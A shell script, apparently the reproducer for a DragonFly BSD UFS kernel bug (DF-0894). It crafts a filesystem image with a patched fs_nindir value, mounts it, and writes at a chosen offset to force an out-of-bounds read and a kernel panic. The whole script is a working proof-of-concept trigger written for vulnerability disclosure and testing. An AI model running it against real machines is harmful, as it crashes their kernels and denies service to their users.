#!/bin/sh
# DF-0894 reproduce.sh — runs IN THE GUEST as root.
#
# Creates a UFS1 image (default newfs geometry: fs_bsize=16384,
# fs_nindir=4096), binary-patches fs_nindir to 8192 in the superblock,
# mounts RW, writes 1 byte at lbn=12 (primes the indirect block at i_ib[0]),
# then writes 1 byte at lbn=8203 (forces ffs_balloc single-indirect path
# with in_off = 8191, which is ~16KB past the 4096-entry indirect block
# buffer). The OOB read at ffs_balloc.c:297 (bap[in_off]) page-faults.
#
# Mount privilege: UFS is not user-mountable on DragonFly (vfs.usermount=0,
# SYSCAP_RESTRICTEDROOT). Root-context mount of attacker media → kernel OOB
# read/write → page-fault panic on default #0 GENERIC (INVARIANTS ON).
#
# Usage (from host):
#   scp this + sources to dfbsd:, then vm.sh run_root 'sh /root/reproduce.sh'
# Expect: Fatal trap 12 page fault at ffs_balloc+0x5e7 (movl (%rbx,%rax,4),%eax)
set -u
cd "$(dirname "$0")"

echo "================= DF-0894 primitive characterization (harness) ================="
./harness 16384 8192 8203
echo

echo "================= DF-0894 live kernel trigger ================="
cc -o craft_img craft_img.c 2>&1 || { echo "CRAFT_BUILD_FAIL"; exit 3; }

rm -f base.img evil.img
truncate -s 16M base.img
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 base.img
echo "--- newfs (default: fs_bsize=16384, fs_nindir=4096) ---"
newfs /dev/vn0 2>&1 | head -5
vnconfig -u vn0

cp base.img evil.img
echo "--- patching fs_nindir: 4096 -> 8192 ---"
./craft_img evil.img 8192

mkdir -p /mnt/test
vnconfig -c vn0 evil.img
echo "--- mounting evil.img RW ---"
mount -t ufs /dev/vn0 /mnt/test 2>&1
echo "MOUNT_RC=$?"

if [ -d /mnt/test ]; then
    # prime: lbn=12 (in_off=0) — allocate the single-indirect block at i_ib[0]
    echo "--- priming: lbn=12 (offset=196608, in_off=0, in-bounds) ---"
    dd if=/dev/zero of=/mnt/test/target bs=1 count=1 oseek=196608 conv=notrunc 2>/dev/null
    echo "PRIME_RC=$?"

    # trigger: lbn=8203 (in_off=8191, ~16KB past the 16384-byte buffer)
    # offset = 8203 * 16384 = 134,283,264
    BIGOFF=134283264
    echo "--- TRIGGER: lbn=8203 (offset=$BIGOFF, in_off=8191, OOB ~16KB) ---"
    dd if=/dev/zero of=/mnt/test/target bs=1 count=1 oseek=$BIGOFF conv=notrunc 2>&1
    echo "TRIGGER_RC=$? (only reached if NO panic)"
    sync 2>&1
    echo "SYNC_RC=$? (only reached if NO panic)"
fi

umount /mnt/test 2>/dev/null || true
vnconfig -u vn0 2>/dev/null || true
echo "END"
